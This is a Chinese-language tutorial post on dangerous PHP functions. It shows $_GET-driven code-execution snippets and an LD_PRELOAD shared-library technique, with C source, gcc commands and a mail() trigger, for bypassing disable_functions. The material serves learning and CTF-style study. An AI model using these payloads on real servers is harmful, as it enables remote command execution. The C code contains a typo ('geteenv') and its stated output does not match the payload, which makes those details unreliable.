2. 程式人生 > >PHP危險函式總結學習

PHP危險函式總結學習

阿新 • • 發佈：2019-08-19

1.PHP中程式碼執行的危險函式

call_user_func()

第一個引數 callback 是被呼叫的回撥函式，其餘引數是回撥函式的引數。 傳入call_user_func()的引數不能為引用傳遞

call_user_func($_GET['1'],$_GET['2']); codeexec.php?1=assert&2=phpinfo()

call_user_func_array()

把第一個引數作為回撥函式（callback）呼叫，把引數陣列作（param_arr）為回撥函式的的引數傳入。

call_user_func_array($_GET['1'],$_GET['2']);

codeexec.php?1=assert&2[]=phpinfo()

create_function

該函式的內部實現用到了eval，所以也具有相同的安全問題。第一個引數args是後面定義函式的引數，第二個引數是函式的程式碼。

    $a = $_GET['a'];
    $b = create_function('$a',"echo $a");
    $b('');
codeexec.php?a=phpinfo();

array_map()

作用是為陣列的每個元素應用回撥函式 。其返回值為陣列，是為 array1 每個元素應用 callback函式之後的陣列。 callback 函式形參的數量和傳給 array_map() 陣列數量，兩者必須一樣。

<?php
    $array = array(0,1,2,3,4,5);
    array_map($_GET[1],$array);
?>
codeexec.php?1=phpinfo
preg_match+/e選項

搜尋subject中匹配pattern的部分， 以replacement進行替換。當使用被棄用的 e 修飾符時, 這個函式會轉義一些字元，在完成替換後，引擎會將結果字串作為php程式碼使用eval方式進行評估並將返回值作為最終參與替換的字串。

 

2.php命令執行函式

system

如果 PHP 執行在伺服器模組中， system() 函式還會嘗試在每行輸出完畢之後， 自動重新整理 web 伺服器的輸出快取。

shell_exec（沒有回顯的命令執行）

通過 shell 環境執行命令，並且將完整的輸出以字串的方式返回。（和``反引號效果相同）

passthru

同 exec() 函式類似， passthru() 函式 也是用來執行外部命令（command）的。 當所執行的 Unix 命令輸出二進位制資料， 並且需要直接傳送到瀏覽器的時候， 需要用此函式來替代 exec() 或 system() 函式。

exec(只返回一行資料)

 

popen

開啟一個指向程序的管道，該程序由派生給定的 command 命令執行而產生。 返回一個和 fopen() 所返回的相同的檔案指標，只不過它是單向的（只能用於讀或寫）並且必須用 pclose() 來關閉。此指標可以用於 fgets()，fgetss() 和 fwrite()。

proc_open
<?php
$descriptorspec=array( //這個索引陣列用力指定要用proc_open建立的子程序的描述符
0=>array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle=proc_open('dir',$descriptorspec,$pipes,NULL);
//$pipes中儲存的是子程序建立的管道對應到 PHP 這一端的檔案指標($descriptorspec指定的)
if(!is_resource($handle)){
die('proc_open failed');
}
//fwrite($pipes[0],'ipconfig');
print('stdout:<br/>');
while($s=fgets($pipes[1])){
print_r($s);
}
print('===========<br/>stderr:<br/>');
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>

ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

當呼叫 output_callback 時，它將收到輸出緩衝區的內容作為引數 並預期返回一個新的輸出緩衝區作為結果，這個新返回的輸出緩衝區內容將被送到瀏覽器。

<?php
    $cmd = 'system';
    ob_start($cmd);  //將命令儲存到內部緩衝區
    echo "$_GET[a]";
    ob_end_flush(); 清除內部緩衝區，此時將輸出緩衝區的內容當作引數執行並輸入執行結果，即執行system($_GET(a))
?>

mail()  第五個引數 excrt_cmd

第五個引數支援新增附加的命令作為傳送郵件時候的配置，比如使用-f引數可以設定郵件發件人等。

如果傳遞了第五個引數（extra_cmd），則用sprintf將sendmail_path和extra_cmd拼接到sendmail_cmd中，隨後將sendmail_cmd丟給popen執行，如果系統預設sh是bash，popen會派生bash程序，而我們剛才提到的bash 破殼漏洞，直接就導致我們可以利用mail()函式執行任意命令，繞過disable_functions的限制

即mail->poen->bash呼叫鏈

但是如果使用了php_escape_shell_cmd函式會對特殊字元（包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等）進行轉義，我們可以通過putenv函式來設定一個包含自定義函式的環境變數，然後通過mail()來觸發

putenv()

bool putenv ( string $setting )

新增 setting 到伺服器環境變數,環境變數僅存活於當前請求期間,在請求結束時環境會恢復到初始狀態。 即我們能夠自定義環境變數

 比如：

LD_PRELOAD是Linux系統的下一個有趣的環境變數，它允許你定義在程式執行前優先載入的動態連結庫

這個功能主要就是用來有選擇性的載入不同動態連結庫中的相同函式。
通過這個環境變數，我們可以在主程式和其動態連結庫的中間載入別的動態連結庫，甚至覆蓋正常的函式庫。
一方面，我們可以以此功能來使用自己的或是更好的函式（無需別人的原始碼），而另一方面，我們也可以以向別人的程式注入程式，從而達到特定的目的。

它允許你定義在程式執行前優先載入的動態連結庫，這說明我們幾乎可以劫持PHP的大部分函式，比如php的mail函式實際上是呼叫了系統的sendmail命令，我們選一個庫函式geteuid

然後編寫一個自己的動態連結程式，tr1ple.c

#include<stdlib.h>
#include<stdio.h>
#include<string.h>

void payload(){
system("cat /flag");
}

int geteuid(){
if(geteenv("LD_PRELOAD")==NULL){
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

當我們編寫的共享庫的geteuid函式被呼叫時將執行命令，測試編譯時平臺儘量與目標相近。

執行:

gcc -c -fPIC tr1ple.c -o tr1ple
gcc --share tr1ple -o tr1ple.so

此時生成了tr1ple.so，我們將so檔案放在web目錄下，然後編寫php檔案進行測試:

<?php
putenv("LD_PRELOAD=/var/www/html/tr1ple.so");
mail("1@2","","","","");
?>

然後訪問後就會在web目錄下產生2333檔案：

所以就達到了劫持geteuid函式的目的，讓程式呼叫我們的惡意so檔案中函式，我們讓php檔案呼叫putenv來設定一個臨時環境變數LD_PRELOAD，以便於在程式執行時去載入我們的so，那麼關鍵就是這裡。那麼聯想一下如果我們能劫持其他庫函式，那麼也能達到相同的效果，因為php是用c寫的，mail呼叫了sendmail命令，sendmail命令又呼叫了geteuid函式，那就有以下：

1.如果其他php函式也呼叫了sendmail命令；

2.如果其它php函式呼叫系統命令並呼叫c的庫函式

以上兩種可能應該都是存在的，都可能產生風險。

assert

它也能來動態程式碼執行，但是隻是php5.x，7.x裡就是即使引數是字串也不執行

dl()

dl()函式允許在php腳本里動態載入php模組，預設是載入extension_dir目錄裡的擴充套件，
該選項是PHP_INI_SYSTEM範圍可修改的，只能在php.ini或者apache主配置檔案裡修改。
當然，你也可以通過enable_dl選項來關閉動態載入功能，而這個選項預設為On的，事實上也很少人注意到這個。
dl()函式在設計時存在安全漏洞，可以用../這種目錄遍歷的方式指定載入任何一個目錄裡的so等擴充套件檔案，extension_dir限制可以被隨意饒過。
所以我們可以上傳自己的so檔案，並且用dl函式載入這個so檔案然後利用so檔案裡的函式執行其他操作，
包括系統命令。

ini_set()/ini_alter()

設定指定配置選項的值。這個選項會在指令碼執行時保持新的值，並在指令碼結束時恢復。如果能結合call_user_func函式就能進行呼叫設定。

不是所有有效的選項都能夠用 ini_set() 來改變的。 這裡有個有效選項的清單附錄，附錄地址為https://www.php.net/manual/zh/ini.list.php

imap_mail

imap_mail在執行時也會fork execve，去呼叫sendmail，因此也會載入我們的so

引數設定與mail相同

參考(侵刪)：

https://www.k0rz3n.com/2019/02/12/PHP%20%E4%B8%AD%E5%8F%AF%E4%BB%A5%E5%88%A9%E7%94%A8%E7%9A%84%E5%8D%B1%E9%99%A9%E7%9A%84%E5%87%BD%E6%95%B0/#8-mail-%E7%AC%AC%E4%BA%94%E4%B8%AA%E5%8F%82%E6%95%B0-excrt

相關推薦

PHP危險函式總結學習

1.PHP中程式碼執行的危險函式 call_user_func() 第一個引數 callback 是被呼叫的回撥函式，其餘引數是回撥函式的引數。 傳入call_user_func()的引數不能為引用傳遞 call_user_func($_GET['1'],$_GET['2']); codeexec.p

PHP 5函式總結

函式 描述 array() 建立陣列。 array_change_key_case() 把陣列中所有鍵更改為小寫或大寫。 array_chunk() 把一

PHP常用函式總結

數學函式 1.abs(): 求絕對值 $abs = abs(-4.2); //4.2 數字絕對值數字 2.ceil(): 進一法取整 echo ceil(9.999); // 10 浮點數進一取整 3.floor(): 捨去法取整     echo floor(9

PHP常用函式總結(180多個)

PHP常用函式總結 數學函式 1.abs(): 求絕對值 $abs = abs(-4.2); //4.2 數字絕對值數字 2.ceil(): 進一法取整 echo ceil(9.999); // 10 浮點數進一取整 3.floor(): 捨去法取整     e

有些需要禁用的PHP危險函式(disable_functions)

  phpinfo()  功能描述：輸出 PHP 環境資訊以及相關的模組、WEB 環境等資訊。  危險等級：中  passthru()  功能描述：允許執行一個外部程式並回顯輸出，類似於 exec()。  危險等級：高  ex

unity3d回撥函式總結學習

　　以下內容是Unity3D 可過載虛擬函式總結(事件，回撥函式，訊息處理) 　　過載虛擬函式 　　Unity3D中所有控制指令碼的基類MonoBehaviour有一些虛擬函式用於繪製中事件的回撥，也可以直接理解為事件函式，例如大家都很清楚的Start,Update等函式，

深度學習幾種主流啟用函式總結

啟用函式的定義 加拿大蒙特利爾大學的Bengio教授在 ICML 2016 的文章[1]中給出了啟用函式的定義：啟用函式是對映 h:R→R，且幾乎處處可導。 啟用函式的性質 非線性： 當啟用函式是線性的時候，一個兩層的神經網路就可以逼近基本上所有的函數了。但是，如果啟

PHP 開發 APP 介面 學習筆記與總結--讀取資料庫方式

方案一：讀取資料庫方式 從資料庫讀取資訊→封裝→生成介面資料 應用場景： 資料時效性比較高的系統   方案二：讀取快取方式 從資料庫獲取資訊（第一次設定快取或快取失效時）→封裝（第一次設定快取或快取失效時）→返回資料          

《Head First PHP & MySQL》學習總結

第1章  為靜態頁面賦予生命 1 通過引入PHP，web伺服器能夠動態地生成HTML web頁面 2 表單使用HTML<form>標籤建立，每個<form>標籤都有一個action屬性，不論為action屬性設定什麼檔名，表單提交時Web伺服器都會用設定的這

PHP常用函式歸類總結【大全】

學習了這麼久PHP，基礎知識總感覺不牢靠，尤其是陣列，字串函式的應用，全部手敲過次手，做出總結 都是基礎，在回顧一下吧。 一。PHP基礎語法 變數，常量     嚴格區分大小寫，但內建結構或關鍵字無所謂(echo)     命名：不能以數字，空格，.

PHP基本函式學習

PHP基本函式 本文章主要用來總結一些常用PHP函式，供大家以及自己學習： PDO 1. PDO::__controller 建立一個表示資料庫連線的PDO例項 2. PDO::exec 執行一條SQL語句，並返回受影響的行數 3. P

函式的學習總結

知識點總結 1 函式定義的語法形式為  資料型別  函式名（形式引數表）                            

大佬用心良苦的學習乾貨，Python中的68個內建函式總結！

一、內建函式   10大類   數學運算（7個） 型別轉換（24個） 序列操作（8個） 物件操作(9個) 反射操作(8個) 變數操作(2個) 互動操作(2個) 檔案操作(1個) 編譯執行(4個)

php.ini安全配置禁用危險函式open_basedir防止跨目錄

disable_functions = phpinfo,chroot,chown,chmod,system,shell_exec,passthru,exec,assert,pcntl_exec,proc_open,``,phpfunc,proc_get_status,chgr

PHP面試常見演算法、函式總結

<?php //a=10,b=15 在不用第三個變數的前提下交換a b的值 //使用list(): $a = "fsdfds"; $b = "xiaorui"; list($a,$b) = array($b,$a); echo $a."-".$b; /

PHP常用字串函式總結

1查詢字元位置函式： strpos($str,search,[int]):查詢search在$str中的第一次位置從int開始； stripos($str,search,[int]):函式返回字串在另一個字串中第一次出現的位置。該函式對大小寫不敏感 strrpos($str,search,[int]):查

機器學習中的損失函式總結

損失函式（loss function）是用來估量你模型的預測值f(x)與真實值Y的不一致程度，它是一個非負實值函式,通常使用L(Y, f(x))來表示，損失函式越小，模型的魯棒性就越好。損失函式是經驗風險函式的核心部分，也是結構風險函式重要組成部分。模型的結構風險函式包括

【深度學習技術】卷積神經網路常用啟用函式總結

本文記錄了神經網路中啟用函式的學習過程，歡迎學習交流。 神經網路中如果不加入啟用函式，其一定程度可以看成線性表達，最後的表達能力不好，如果加入一些非線性的啟用函式，整個網路中就引入了非線性部分，增加了網路的表達能力。目前比較流行的啟用函式主要分為以下7種：

PHP常用180函式總結

數學函式 1.abs(): 求絕對值 &lt;span style="font-size: 14px;"&gt;$abs = abs(-4.2); //4.2&lt;br&gt;&lt;/span&gt; 輸入: 數字 輸出: 絕對值數字 2.cei

機器學習中常用的傳遞函式總結

傳遞函式是在神經網路中用到的，在這裡先列舉一下： 函式名稱 對映關係 影象 縮寫 說明 階梯函式 a=0,n<=0 a=1,n>0 Step n大於等 於0時， 輸出1， 否則輸